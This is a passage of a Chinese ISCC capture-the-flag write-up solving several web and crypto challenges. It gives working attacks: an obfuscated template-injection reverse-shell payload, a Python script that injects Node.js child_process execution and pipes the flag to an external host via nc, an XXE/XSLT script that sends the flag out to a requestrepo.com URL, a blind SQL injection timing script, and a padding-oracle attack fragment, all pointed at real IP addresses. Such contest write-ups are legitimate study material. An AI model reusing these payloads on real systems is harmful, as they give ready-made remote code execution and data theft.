aj=dict(aaaaa=x)|first|length%}{%set qj=(hx,la)|sum%}{%set et=(lla,lla,lla,qj)|sum%}{%set ba=((nb~dict(c=x)|join)*(lh,do)|sum)%((de,do,la)|sum,(de,do)|sum,(llla,qj)|sum,(de,lla,hx)|sum,(lla,lla,do,hx)|sum,(et,do,la)|sum,(de,do,la,la)|sum,(lla,lla,do,hx)|sum,(lla,lla,lla,la)|sum,(de,do,la)|sum,(de,do)|sum,(llla,qj)|sum,(de,lla,hx)|sum,(lla,lla,do,hx)|sum,(et,do,la)|sum,(de,lla,qj)|sum,(lla,lla,do,hx)|sum,(sbb,bb)|sum,(et,la)|sum,(lla,lla,do,hx)|sum,(lh,la)|sum,(de,do,hx)|sum,(de,lla)|sum,(llla,do)|sum,(lh,la)|sum,(llla,aj)|sum,(de,do,la,la)|sum,(llla,la)|sum,(lh,la)|sum,(lh,hx)|sum,(lh,hx)|sum,(sbb,la)|sum,lh,(lh,bb)|sum,(lh,do)|sum,lh,(lh,hx)|sum,(lh,do,la,la)|sum,(sbb,la)|sum,lh,(lh,do,la)|sum,(lh,do)|sum,(lh,la)|sum,sbb,sbb,sbb,sbb,(lla,lla,do,hx)|sum,(lh,la,la)|sum,(sbb,bb)|sum,(et,la)|sum,(lh,hx)|sum,(lla,lla,lla,la)|sum)%}{%print ((g|attr(pp)|attr(go)|attr(gi)(bl)|attr(gi)(ip))(qi)|attr(po))(ba)|attr(re)()%}'

开启8888端口

在这里插入图片描述

使用构造好的payload输入;

在这里插入图片描述

反弹成功,直接查看目录下flag1、2即可;

在这里插入图片描述
在这里插入图片描述

查看app.py源码,分析flag3代码的加密逻辑;

from Crypto.Util.Padding import pad
from Crypto.Util.number import bytes_to_long as b2l, long_to_bytes as l2b
from Crypto.Random import get_random_bytes
from enum import Enum
class Mode(Enum):
    ECB = 0x01
    CBC = 0x02
    CFB = 0x03
class Cipher:
    def __init__(self, key, iv=None):
        self.BLOCK_SIZE = 64
        self.KEY = [b2l(key[i:i+self.BLOCK_SIZE//16]) for i in range(0, len(key), self.BLOCK_SIZE//16)]
        self.DELTA = 0x9e3779b9
        self.IV = iv
        self.ROUNDS = 64
        if self.IV:
            self.mode = Mode.CBC if iv else Mode.ECB
            if len(self.IV) * 8 != self.BLOCK_SIZE:
                self.mode = Mode.CFB
    def _xor(self, a, b):
        return b''.join(bytes([_a ^ _b]) for _a, _b in zip(a, b))
    def encrypt_block(self, msg):
        m0 = b2l(msg[:4])
        m1 = b2l(msg[4:])
        msk = (1 << (self.BLOCK_SIZE//2)) - 1
        s = 0
        for i in range(self.ROUNDS):
            s += self.DELTA
            m0 += ((m1 << 4) + self.KEY[i % len(self.KEY)]) ^ (m1 + s) ^ ((m1 >> 5) + self.KEY[(i+1) % len(self.KEY)])
            m0 &= msk
            m1 += ((m0 << 4) + self.KEY[(i+2) % len(self.KEY)]) ^ (m0 + s) ^ ((m0 >> 5) + self.KEY[(i+3) % len(self.KEY)])
            m1 &= msk
        return l2b((m0 << (self.BLOCK_SIZE//2)) | m1)
    def encrypt(self, msg):
        msg = pad(msg, self.BLOCK_SIZE//8)
        blocks = [msg[i:i+self.BLOCK_SIZE//8] for i in range(0, len(msg), self.BLOCK_SIZE//8)]
        ct = b''
        if self.mode == Mode.ECB:
            for pt in blocks:
                ct += self.encrypt_block(pt)
        elif self.mode == Mode.CBC:
            X = self.IV
            for pt in blocks:
                enc_block = self.encrypt_block(self._xor(X, pt))
                ct += enc_block
                X = enc_block
        elif self.mode == Mode.CFB:
            X = self.IV
            for pt in blocks:
                output = self.encrypt_block(X)
                enc_block = self._xor(output, pt)
                ct += enc_block
                X = enc_block
        return ct
if __name__ == '__main__':
    KEY = get_random_bytes(16)
    IV = get_random_bytes(8)
    cipher = Cipher(KEY, IV)
    FLAG = b'xxxxxxxxxxxxxxxxxxx'
    ct = cipher.encrypt(FLAG)
    # KEY: 3362623866656338306539313238353733373566366338383563666264386133
    print(f'KEY: {{KEY.hex()}}')
    # IV: 64343537373337663034346462393931
    print(f'IV: {{IV.hex()}}')
    # Ciphertext: 1cb8db8cabe8edbbddb202b7f24b51f1f35c369b107355f7
    print(f'Ciphertext: {{ct.hex()}}')

让GPT写个解密flag3脚本;

from Crypto.Util.Padding import unpad
from Crypto.Util.number import bytes_to_long as b2l, long_to_bytes as l2b
from enum import Enum


class Mode(Enum):
    ECB = 0x01
    CBC = 0x02
    CFB = 0x03


class Cipher:
    def __init__(self, key, iv=None):
        self.BLOCK_SIZE = 64
        self.KEY = [b2l(key[i:i + self.BLOCK_SIZE // 16]) for i in range(0, len(key), self.BLOCK_SIZE // 16)]
        self.DELTA = 0x9e3779b9
        self.IV = iv
        self.ROUNDS = 64
        if self.IV:
            self.mode = Mode.CBC if iv else Mode.ECB
            if len(self.IV) * 8 != self.BLOCK_SIZE:
                self.mode = Mode.CFB

    def _xor(self, a, b):
        return b''.join(bytes([_a ^ _b]) for _a, _b in zip(a, b))

    def decrypt_block(self, ct):
        msk = (1 << (self.BLOCK_SIZE // 2)) - 1
        c0 = b2l(ct[:4])
        c1 = b2l(ct[4:])
        s = (self.DELTA * self.ROUNDS) & msk

        for i in range(self.ROUNDS):
            c1 -= ((c0 << 4) + self.KEY[(self.ROUNDS - i - 1 + 2) % len(self.KEY)]) ^ (c0 + s) ^ (
                        (c0 >> 5) + self.KEY[(self.ROUNDS - i - 1 + 3) % len(self.KEY)])
            c1 &= msk
            c0 -= ((c1 << 4) + self.KEY[(self.ROUNDS - i - 1) % len(self.KEY)]) ^ (c1 + s) ^ (
                        (c1 >> 5) + self.KEY[(self.ROUNDS - i - 1 + 1) % len(self.KEY)])
            c0 &= msk
            s -= self.DELTA

        return l2b((c0 << (self.BLOCK_SIZE // 2)) | c1)

    def encrypt_block(self, msg):
        m0 = b2l(msg[:4])
        m1 = b2l(msg[4:])
        msk = (1 << (self.BLOCK_SIZE // 2)) - 1
        s = 0
        for i in range(self.ROUNDS):
            s += self.DELTA
            m0 += ((m1 << 4) + self.KEY[i % len(self.KEY)]) ^ (m1 + s) ^ ((m1 >> 5) + self.KEY[(i + 1) % len(self.KEY)])
            m0 &= msk
            m1 += ((m0 << 4) + self.KEY[(i + 2) % len(self.KEY)]) ^ (m0 + s) ^ (
                        (m0 >> 5) + self.KEY[(i + 3) % len(self.KEY)])
            m1 &= msk
        return l2b((m0 << (self.BLOCK_SIZE // 2)) | m1)

    def decrypt(self, ct):
        blocks = [ct[i:i + self.BLOCK_SIZE // 8] for i in range(0, len(ct), self.BLOCK_SIZE // 8)]
        pt = b''

        if self.mode == Mode.ECB:
            for ct_block in blocks:
                pt += self.decrypt_block(ct_block)
        elif self.mode == Mode.CBC:
            X = self.IV
            for ct_block in blocks:
                dec_block = self.decrypt_block(ct_block)
                pt_block = self._xor(X, dec_block)
                pt += pt_block
                X = ct_block
        elif self.mode == Mode.CFB:
            X = self.IV
            for ct_block in blocks:
                output = self.encrypt_block(X)
                pt_block = self._xor(output, ct_block)
                pt += pt_block
                X = ct_block

        return unpad(pt, self.BLOCK_SIZE // 8)


if __name__ == '__main__':
    # Provided KEY and IV in hexadecimal format
    KEY = bytes.fromhex('3362623866656338306539313238353733373566366338383563666264386133')
    IV = bytes.fromhex('64343537373337663034346462393931')
    CIPHERTEXT = bytes.fromhex('1cb8db8cabe8edbbddb202b7f24b51f1f35c369b107355f7')

    # Initialize the cipher with the given key and IV
    cipher = Cipher(KEY, IV)

    # Decrypt the ciphertext
    decrypted_message = cipher.decrypt(CIPHERTEXT)

    # Print the decrypted message (the flag)
print(f'Decrypted message: {decrypted_message}')
#Decrypted message: b'Flag[3]: Cr!@IkhEr}'

将我们刚刚得到的4部分flag合并;

I{R_ifCs@jSNNH^95KSKCA_Nr8BVcwCr!@IkhEr}

栅栏解密即可;(注意是枚举解密)也可以随波逐流梭哈,看自己喜欢;

网站:https://ctf.bugku.com/tool/railfence

在这里插入图片描述

ISCC{NArRN_!_HN@i^rIf98kC5BhsKVE@ScrjKw}
8、这题我出不了了

打开靶机啥信息也没给;只给了一个关键信息,点击进去发现注册页面;

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

简单分析一下;

        const mysql = require("mysql");
        const pg = require("pg"); // use pg@7.0.2

        // WAF
        const WAFWORDS = ["select", "union", "and", "or", "delete", "drop", "create", "alter", "truncate", "exec", 
                          "xp_cmdshell", "insert", "update", "sp_", "having", "exec master", "net user", "xp_", "waitfor", "information_schema", 
                          "table_schema", "sysobjects", "version", "group_concat", "concat", "distinct", "sysobjects", "user", "schema_name", "column_name", "table_name", 
                          "\", "/", "*", " ", ";", "--", "(", ")", "'", """, "=", "<", ">", "!=", "<>", 
                          "<=", ">=", "||", "+", "-", ",", ".", "[", "]", ":", "||", "*/", "/*", "_", "%"]

        // debug: 
        // ZnMucmVhZEZpbGUoJ3ByaW50RmxhZycsICd1dGY4JywgKGVyciwgZGF0YSkgPT4gew==
        //     Y29uc29sZS5sb2coZGF0YSk7
        // fSk7
  1. 数据库连接:

    • 使用mysql模块来连接和操作MySQL数据库。
    • 使用pg模块(特别是版本7.0.2)连接和操作PostgreSQL数据库。
  2. WAF (Web Application Firewall):

    • WAFWORDS数组定义了一系列不允许在输入中出现的词汇和字符。这些主要是SQL语句的关键字(如select, delete, drop等),以及可能用于SQL注入攻击的特殊字符(如;, --, ', "等)。
    • 这个简单的WAF实现的目的是防止SQL注入攻击,通过检查输入是否包含这些禁用词汇和字符来实现。
  3. 调试:

    • 提供了一个Base64编码的字符串:ZnMucmVhZEZpbGUoJ3ByaW50RmxhZycsICd1dGY4JywgKGVyciwgZGF0YSkgPT4gew==,解码后是fs.readFile('printFlag', 'utf8', (err, data) => {,这是Node.js中fs模块的readFile函数的调用,尝试读取名为printFlag的文件内容。
    • 紧接着的两个Base64编码的字符串分别解码为console.log(data);});,这两行代码完成了读取文件内容并将其打印到控制台的操作。

总结:这段代码演示了如何在Node.js应用中使用MySQL和PostgreSQL数据库,以及如何实现一个简单的防火墙来防止SQL注入攻击。通过定义一系列可能用于恶意SQL操作的关键字和特殊字符,代码尝试过滤掉潜在的危险输入。此外,通过Base64编码的字符串提供了一个示例,展示了如何读取文件内容并打印

虽然巴拉巴拉了一大堆但是问题不大哈,看不懂没关系;

直接反手查一手数据库版本看看有没有什么漏洞可以利用;

在这里插入图片描述

往下翻翻,看见个帖子,发现仿题,大差不多跟着复现即可;

http://47.96.173.116/2021/10/27/hitcon-2017sql-so-hard/

这时候很多第一次接触服务器的就懵了,什么是服务器,怎么开启呢?

不要急哈,这里手把手教学,你来你也行;

首先我这里开的是腾讯云的;(不会很贵就几毛钱不用害怕)

链接:https://over-rainbow.cn/posts/2017-hitcon-sql-so-hard/

微信登录即可;

我们是这个;

在这里插入图片描述

接着点击自定义配置,选择竞价实例;(其它暂时不需要动)

在这里插入图片描述

选择这个就足够我们使用了(针对这道题,如有需要长期可自行选择其它);

在这里插入图片描述

这边选择CentOS镜像(推荐),至于版本选择第一个或者随便,容量选择20够用了;

在这里插入图片描述

接着下一步,网络默认(如果发现必填那就刷新重新来即可),按计量收费(拉满);

在这里插入图片描述

安全组选择新建全部勾选(以防万一);

在这里插入图片描述

这边登录方式选择立即关联密钥;

在这里插入图片描述

点击立即新建,然后就会跳转一个新的页面;

在这里插入图片描述
在这里插入图片描述

创建完成会自动下载一个后缀pem的文件(切记保管好不要乱传);

在这里插入图片描述

然后返回购买页面,然后就有选项了;

在这里插入图片描述

最后配置完成选择购买(温馨提示,腾讯云需要里面至少有10块噢,以及要满18);

在这里插入图片描述

购买完成,成功进去,那就恭喜你踏出自己从未接触过的领域;(本机防火墙建议暂时全部关掉先)

在这里插入图片描述

这里自己的公、内网ip收好噢,接着点进名称修改安全组;

在这里插入图片描述

点击编辑规则;

在这里插入图片描述

这边先点击一键放通,接着在点击添加规则;

在这里插入图片描述

选择自定义,后面都是ALL,点击确认即可;

在这里插入图片描述

接着在点击出站规则,还是一键放通;

在这里插入图片描述

接着返回刚刚的页面,点击登录;

在这里插入图片描述

然后登录选择密钥验证(其它不需要改动);

在这里插入图片描述

可以看见我们已经进入我们自己的服务器啦!

在这里插入图片描述

我们需要反弹shell之前先需要更新一下源,再安装一下nc;

1、mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup

2、wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo

3、yum clean all

4、yum makecache

5、yum update

6、yum -y install nc

一句一句执行我上面六条命令一个都不要少(碰到y/d/n全部选择y)即可;

当然会换的可以自己百度一下;

更新并且安装完成nc,可以直接先尝试链接自己本机;

ncat -lvvp 8888

这就算是开启监听端口;

在这里插入图片描述

接着我们使用本机nc链接自己开启的端口(测试一下是否链接成功);

原理和pwn的nc一个道理,这里我使用的是kali链接;

nc -自己公网ip 开启端口号

接着我随便在kali(本机上)输入一个ls(没有实际作用),会发现服务器也自动输入了一个ls;

做到这里就代表没有问题了,可以开始反弹shell了;

在这里插入图片描述
在这里插入图片描述
接着就可以使用python脚本来反弹shell了;

注意脚本里面的nc需要改成自己的公网ip以及端口!!!!!

脚本:

from random import randint
import requests
# payload = "union"
payload = """','')/*%s*/returning(1)as"\\'/*",(1)as"\\'*/-(a=`child_process`)/*",(2)as"\\'*/-(b=`/printFlag|nc 129.211.186.163 8888`)/*",(3)as"\\'*/-console.log(process.mainModule.require(a).exec(b))]=1//"--""" % (' '*1024*1024*16)
username = str(randint(1, 65535))+str(randint(1, 65535))+str(randint(1, 65535))
data = {
            'username': username+payload,
                'password': 'AAAAAA'
                }
print('ok')
r = requests.post('http://101.200.138.180:32031/register_7D85tmEhhAdgGu92', data=data)
print(r.content.decode('utf-8'))

简单分析一下这个脚本;

这个脚本使用Python编写,旨在通过HTTP POST请求向一个特定网址发送包含恶意代码的数据。这里的目的是尝试利用目标服务器上的漏洞,执行远程代码,特别是为了执行反弹shell命令。

  1. 导入模块

    • randint 用于生成随机数。
    • requests 用于发起HTTP请求。
  2. 构造Payload

    • payload 是一个精心构造的字符串,目的是通过SQL注入或其他漏洞注入恶意代码。这段代码尝试执行以下操作:
      • 使用child_process模块,这是Node.js的一个模块,允许你执行操作系统命令。
      • 执行/printFlag|nc 119.45.44.214 8888命令,这是尝试读取名为printFlag的文件内容,并将这些内容通过netcatnc)命令发送到119.45.44.2148888端口。这是反弹shell的典型做法,目的是将敏感信息或命令执行结果发送到攻击者控制的服务器。
    • % (' '*1024*1024*16) 这部分代码用于生成一个非常大的空白字符串,是为了绕过某些类型的输入验证或触发缓冲区溢出。
  3. 生成随机用户名

    • 通过连接三个随机生成的数字字符串来创建一个唯一的username
  4. 发送HTTP POST请求

    • 使用requests.post函数向目标URL发送包含恶意payload的数据。data字典中的username字段包含了恶意代码,而password字段则是一个简单的字符串。
    • 打印出请求的响应内容,是为了检查攻击是否成功或服务器的反馈。

总结:简单说就是尝试利用目标服务器上的安全漏洞来执行远程代码。具体来说,它试图通过反弹shell命令来泄露服务器上的敏感信息。

暂时就分析到这里,想要更详解些的可以去看上面链接的博主解说;

那我们直接运行即可;(这边因为官方服务器一直炸所以尝试了很多遍)

在这里插入图片描述

多返回服务器看几遍看看有没有弹出来,最后终于在某一次弹出来了。。。。。(不容易不容易)

今天bing还炸了,做的真的很艰辛。。。。

在这里插入图片描述

最后,友情提示,如果不是长期需要服务器的记得撤销噢,免得会一直扣钱;

注意!!!!是撤掉不是关机!!!关机还是一样收费的!(占用资源)

在这里插入图片描述

9、一道普通的XSS题目

打开靶机发现什么也没有,查看源码也没有任何发现,没办法我们只能扫描一下目录;

在这里插入图片描述
这里扫了一会,发现了hints,那我们继续跟进;

在这里插入图片描述
直接Ctrl+c查看一手源码,发现/lucky;

在这里插入图片描述
点击继续跟进,发现了/flag源码,当然这里flag肯定是假的不要多想;

在这里插入图片描述
返回继续访问/adminbot目录,得到提示让我们补全参数;

在这里插入图片描述
据上得到提示让我们使用xxs攻击,所以我们可以这样构造payload;(参考大佬)

?payload=<script>alert(%27xxs%27)</script>

在这里插入图片描述
做到这里,思路就断了,然后想着看看能不能去社工一下看看有没有原题啥的,然后没想到还真被我发现了;

这是国际比赛一道题目,当时比赛0解,我觉得可能是由于大家题量都比较大时间较短或者重心没有放在这边,赛后大家就复现出来了;

链接:https://blog.ankursundara.com/dicectf23-writeups/

原题名:impossible-xss

博主里面有更详细的讲解大家感兴趣的可以去看看;

这里我简单总结一下;

挑战赛由一个简单的express.js网络服务器组成,有两条路由。

/- 通过查询参数为我们提供 XSS?xss
/flag- 返回 Cookie 值FLAG
该标志存储在管理机器人的 cookie 中,该 cookie 由端点呈现。因此,目标似乎是从 adminbot 中泄露 的内容,大概是使用 xss on .到目前为止,挑战似乎非常简单。FLAG/flag/flag/

注意(XSLT 中对 XXE 的 Chrome 支持完全没有记录在案,也不是任何规范的一部分,Firefox 不支持它。)

这里我就直接贴脚本吧;

const xmls = `<?xml version="1.0"?>
<!DOCTYPE a [
   <!ENTITY xxe SYSTEM  "http://101.200.138.180:30280/flag" >]>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
  <xsl:template match="/asdf">
    <HTML>
      <HEAD>
        <TITLE></TITLE>
      </HEAD>
      <BODY>
        <img>
          <xsl:attribute name="src">
            http://a265mf0j.requestrepo.com/?&xxe;
          </xsl:attribute>
        </img>
      </BODY>
    </HTML>
  </xsl:template>
</xsl:stylesheet>`;

const xml = `<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="data:text/plain;base64,${Buffer.from(xmls).toString('base64')}"?>
<asdf></asdf>`;
const xss = encodeURIComponent(xml);
console.log(xss);

简单分析一下脚本:

1、定义XML样式表 (xmls):
xmls 是一个多行模板字符串,它定义了一个包含XXE攻击的XML样式表。
在文档类型声明中,定义了一个名为 xxe 的XML实体,指向一个远程服务器上的资源(可能是一个敏感文件)。
XSL样式表定义了一个模板匹配 /asdf 节点,并构造了一个HTML结构,其中包含一个img标签。
img标签的src属性被设置为一个URL,该URL包含了之前定义的XXE实体 &xxe;。这意味着当样式表被解析时,XXE实体将被外部资源的内容替换。

2、构造XML文档 (xml):
xml 是另一个多行模板字符串,它定义了一个XML文档。
XML文档使用xml-stylesheet处理指令引用了上面定义的XSL样式表。该样式表被转换为Base64编码,并作为数据URI嵌入到XML文档中。
XML文档包含一个根节点 ,这个节点匹配了XSL样式表中定义的模板。

3、编码和输出 (xss):
xss 通过调用 encodeURIComponent 对整个XML文档进行URL编码。这通常用于确保在将数据作为URL参数传递时,特殊字符不会破坏URL的结构。
然后,脚本在控制台上打印出编码后的XML字符串。

总结:
这个脚本试图构造一个可能用于XXE攻击的XML文档,并将其编码为URL编码的字符串。XXE攻击可能允许攻击者读取远程服务器上的文件、与后端系统进行交互或触发远程请求。脚本的输出可以用于Web应用程序中的攻击载荷,特别是在应用程序处理XML输入并支持外部实体时。

(这里注意脚本里面的http://a265mf0j.requestrepo.com)简单来说属于自己生成的简易服务器,注意替换成自己的;

生成服务器链接:https://requestrepo.com/

操作也非常简单,进入点击复制接着添加在脚本里面即可;

在这里插入图片描述
因为这个脚本是node.js的,所以这里可以选择自行下载来运行,当然也可以使用在线网站来运行;

下载网站:https://nodejs.cn/

在线网站:https://www.jyshare.com/compile/22/

这里我选择在线网站;

在这里插入图片描述
运行得到;

%3C%3Fxml%20version%3D%221.0%22%3F%3E%0A%3C%3Fxml-stylesheet%20type%3D%22text%2Fxsl%22%20href%3D%22data%3Atext%2Fplain%3Bbase64%2CPD94bWwgdmVyc2lvbj0iMS4wIj8%2BCjwhRE9DVFlQRSBhIFsKICAgPCFFTlRJVFkgeHhlIFNZU1RFTSAgImh0dHA6Ly8xMDEuMjAwLjEzOC4xODA6MzAyODAvZmxhZyIgPl0%2BCjx4c2w6c3R5bGVzaGVldCB4bWxuczp4c2w9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvWFNML1RyYW5zZm9ybSIgdmVyc2lvbj0iMS4wIj4KICA8eHNsOnRlbXBsYXRlIG1hdGNoPSIvYXNkZiI%2BCiAgICA8SFRNTD4KICAgICAgPEhFQUQ%2BCiAgICAgICAgPFRJVExFPjwvVElUTEU%2BCiAgICAgIDwvSEVBRD4KICAgICAgPEJPRFk%2BCiAgICAgICAgPGltZz4KICAgICAgICAgIDx4c2w6YXR0cmlidXRlIG5hbWU9InNyYyI%2BCiAgICAgICAgICAgIGh0dHA6Ly9hMjY1bWYwai5yZXF1ZXN0cmVwby5jb20vPyZ4eGU7CiAgICAgICAgICA8L3hzbDphdHRyaWJ1dGU%2BCiAgICAgICAgPC9pbWc%2BCiAgICAgIDwvQk9EWT4KICAgIDwvSFRNTD4KICA8L3hzbDp0ZW1wbGF0ZT4KPC94c2w6c3R5bGVzaGVldD4%3D%22%3F%3E%0A%3Casdf%3E%3C%2Fasdf%3E

接着我们继续补全刚刚没访问成功payload;

http://101.200.138.180:30280/adminbot?url=http://101.200.138.180:30280/?payload=xxxxxx

我的;

http://101.200.138.180:30280/adminbot?url=http://101.200.138.180:30280/?payload=%3C%3Fxml%20version%3D%221.0%22%3F%3E%0A%3C%3Fxml-stylesheet%20type%3D%22text%2Fxsl%22%20href%3D%22data%3Atext%2Fplain%3Bbase64%2CPD94bWwgdmVyc2lvbj0iMS4wIj8%2BCjwhRE9DVFlQRSBhIFsKICAgPCFFTlRJVFkgeHhlIFNZU1RFTSAgImh0dHA6Ly8xMDEuMjAwLjEzOC4xODA6MzAyODAvZmxhZyIgPl0%2BCjx4c2w6c3R5bGVzaGVldCB4bWxuczp4c2w9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvWFNML1RyYW5zZm9ybSIgdmVyc2lvbj0iMS4wIj4KICA8eHNsOnRlbXBsYXRlIG1hdGNoPSIvYXNkZiI%2BCiAgICA8SFRNTD4KICAgICAgPEhFQUQ%2BCiAgICAgICAgPFRJVExFPjwvVElUTEU%2BCiAgICAgIDwvSEVBRD4KICAgICAgPEJPRFk%2BCiAgICAgICAgPGltZz4KICAgICAgICAgIDx4c2w6YXR0cmlidXRlIG5hbWU9InNyYyI%2BCiAgICAgICAgICAgIGh0dHA6Ly9hMjY1bWYwai5yZXF1ZXN0cmVwby5jb20vPyZ4eGU7CiAgICAgICAgICA8L3hzbDphdHRyaWJ1dGU%2BCiAgICAgICAgPC9pbWc%2BCiAgICAgIDwvQk9EWT4KICAgIDwvSFRNTD4KICA8L3hzbDp0ZW1wbGF0ZT4KPC94c2w6c3R5bGVzaGVldD4%3D%22%3F%3E%0A%3Casdf%3E%3C%2Fasdf%3E

分析一下这个payload;

这个payload是一个针对Web应用程序的攻击尝试,它利用了XML外部实体(XXE)漏洞和服务器端请求伪造(SSRF)漏洞的组合。Payload的目的是从服务器获取敏感信息(如flag文件)并将其发送到攻击者控制的服务器。

1、URL请求:
请求发送到http://101.200.138.180:30280/adminbot?url=…,就是利用adminbot端点上的漏洞,该端点可能用于处理外部URL请求。

2、SSRF利用:
通过url参数,我们让服务器向自己指定的URL发起请求。这里的URL是同一服务器上的另一个端点http://101.200.138.180:30280/?payload=…,这是我们利用服务器上的SSRF漏洞来访问内部资源或触发服务器上的其他动作。

3、XXE攻击:
payload参数包含了经过URL编码的XML数据,这些数据经解码后包含一个XML声明、一个XML样式表处理指令和一个简单的XML文档。

XML数据中,通过xml-stylesheet处理指令嵌入了一个Base64编码的XSL样式表。解码这个Base64字符串会得到一个包含XXE攻击的XSL样式表,该样式表定义了一个外部实体xxe,其系统标识符指向http://101.200.138.180:30280/flag,这可能是攻击者试图读取的敏感文件。

XSL样式表通过img标签的src属性将xxe实体的内容(即敏感文件的内容)发送到我们控制的服务器http://a265mf0j.requestrepo.com/?&xxe;。

总结:
它结合了SSRF和XXE漏洞来试图从目标服务器获取敏感信息,并将这些信息发送到我们控制的外部服务器。通过让目标服务器解析恶意XML数据,并利用XML外部实体从内部资源中提取数据,我们可能能够绕过安全限制,访问或泄露不应公开的信息。

最后返回我们的服务器翻到最底下即可看见返回的信息;

在这里插入图片描述
ISCC{r1yGjDzs^TRsz395}

10、与时俱进

连上好不容易能进来的靶机

在这里插入图片描述

有登录和注册界面

在这里插入图片描述

用弱口令密码试试

admin
123456

在这里插入图片描述
在这里插入图片描述

在系统信息查询里面发现有大量软件个数,可能存在sql注入
根据hint2,可能存在cve漏洞,上网搜cve 28346

在这里插入图片描述

存在Django SQL注入
查看源代码

在这里插入图片描述
审计代码发现nick_name被写死,无回显
采用时间盲注

在这里插入图片描述
这里直接贴结果;(脚本在底下)

简介 | 软件异常检测系统

http://123.57.204.215:8003/inquiry

运行后得到 flag 是 url{pf9lkmez},外面套上ISCC{}去提交,但是是错的,那可能就是路径,直接访问/pf9lkmez,直接下载到了一份源码:

在这里插入图片描述

查看源码
在finally\views.py和functions中发现有加密解密的逻辑函数,但是没有私钥,

在这里插入图片描述

在这里插入图片描述

解不出来东西,然后根据hint,猜测私钥可能在服务器上 cve 50752

在这里插入图片描述

该漏洞主要是在 python-cryptography 包中发现一个缺陷。此问题可能允许远程攻击者解密使用 RSA 密钥交换的 TLS 服务器中捕获的邮件,这可能导致机密或敏感数据泄露。
直接写脚本跑出来了n e c

在这里插入图片描述

在这里插入图片描述

原代码所在

Classic Bleichenbacher RSA Padding Oracle Attack 
(github.com)

代码改改就可以直接用

(借鉴大佬的wp,环境太崩暂时未复现!!!!!!);

Exp;

import requests
import string
import time

def time_inject(condition):
    url = "http://123.57.204.215:8003/inquiry/"
    headers = {}
    cookies = {
        "csrftoken": "csrfmiddlewaretoken",  # 填自己的
    }
    data = {
        "csrfmiddlewaretoken": "cEsp1v9BivHqkawBwJBLvRaLJ4S9p9Gn51kPn23Op22pjEsZuhPmBZ3n7X5JwaJ7",  # 填自己的
        "sel_value": "name",
        "nick_name": f'name",(case  when({condition})  then randomblob(1000000000) else 0 end),"1',
    }
    attempt = 0
    while attempt < 3:  # 尝试请求最多3次
        try:
            start = time.time()
            response = requests.post(url, headers=headers, cookies=cookies, data=data)
            end = time.time()
            time_cost = end - start
            print("time cost: ", time_cost)
            if time_cost > 10:  # 可以根据实际情况调整时间阈值
                return True
            else:
                return False
        except Exception as e:
            print(f"Error occurred: {e}")
            attempt += 1
            time.sleep(5)  # 等待5秒后重试

def get_length(var_name):
    for i in range(1, 1000):
        if time_inject(f"length({var_name})={i}"):
            return i
    return None  # 如果长度未找到,返回None

def get_char(var_name, index):
    alphabet = string.ascii_letters + string.digits + "{}_/+=-"
    for c in alphabet:
        if time_inject(f"substr({var_name},{index},1)='{c}'"):
            return c
    return None  # 如果字符未找到,返回None

def get_flag():
    result = ""
    payload = "(select flag from flag limit 1)"  # 假设只获取一个flag值
    length = get_length(payload)
    if length is None:
        print("Failed to retrieve the length of the flag.")
        return None
    for i in range(1, length + 1):
        char = get_char(payload, i)
        if char is None:
            print(f"Character not found at position {i}.")
            result += '_'  # 使用'_'作为未知字符的占位符
        else:
            result += char
        time.sleep(60)  # 介于请求之间的延迟,以避免过快发送请求
    return result

def main():
    flag = get_flag()
    if flag:
        print(f"Flag: {flag}")
    else:
        print("Failed to retrieve the flag.")

if __name__ == "__main__":
   main()

求Nec的wxp

import requests
import string
import time
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import binascii
import math
from Crypto.Util.number import *

# 从PEM文件加载私钥
def load_private_key_from_pem(file_path):
    with open(file_path, 'rb') as f:
        private_key = serialization.load_pem_private_key(
            f.read(),
            password=None,
            backend=default_backend()
        )
    return private_key

# 从PEM文件加载公钥
def load_public_key_from_pem(file_path):
    with open(file_path, 'rb') as f:
        public_key = serialization.load_pem_public_key(
            f.read(),
            backend=default_backend()
        )
    return public_key

# 执行时间攻击来检查给定密文是否具有有效的填充
def time_attack(ciphertext, threshold=0.4):
    url = "http://123.57.204.215:8003/inquiry/"
    headers = {}
    cookies = {
        "csrftoken": "Xu3GkLC2QiOCPpvBxM8eY6tGAglrxiFvd2IZahaZV0YSQ2fi9vviiZehqCTYKVAn", # 填你自己的
    }
    data = {
        "csrfmiddlewaretoken": "j88ajzJNRLdCvdOqLurwIdb1TREpDFJ6zGNt95hKWtnSwQy7ndOA26WCJdcWQiEY", # 填你自己的
        "ciphertext": ciphertext
    }
    retries = 3
    for i in range(retries):
        try:
            response = requests.post(
                url, headers=headers, cookies=cookies, data=data, timeout=threshold)
            if response.status_code != 200:
                print("status_code:", response.status_code)
                continue
            print("response:", response.text)
            return True
        except requests.exceptions.Timeout:
            return False

# 本地设置用于测试的密钥对
def local_setup():
    print('Using local loop back oracle for testing')
    pub_key = load_public_key_from_pem("public_key.pem")
    pn = pub_key.public_numbers()
    print(' e: {}'.format(pn.e))
    print(' n: {}'.format(pn.n))
    ciphertext = long_to_bytes(
        int(open("message_bak.log", "r").read().strip()))
    print(' c: {}'.format(binascii.hexlify(ciphertext)))
    print()

    def oracle(ct):
        c = int.from_bytes(ct, 'big')
        return time_attack(c)

    return ciphertext, oracle, pn.e, pn.n

# 定义向上取整的除法
def ceildiv(a, b):
    return -(-a // b)

# 定义向下取整的除法
def floordiv(a, b):
    return a // b

# 主函数执行Bleichenbacher攻击
def main():
    print('Bleichenbacher RSA padding algorithm')
    print(' for more info see 1998 paper.')
    print()
    ct, oracle, e, n = local_setup()
    ...
    # 此处省略了攻击的具体实现细节
    ...

# 如果是直接运行此脚本,则执行main函数
if __name__ == "__main__":
    main()

三、Reverse

迷失之门

下载附件,无壳64位;

锁定主函数main,F5查看伪C;

在这里插入图片描述
分析一下

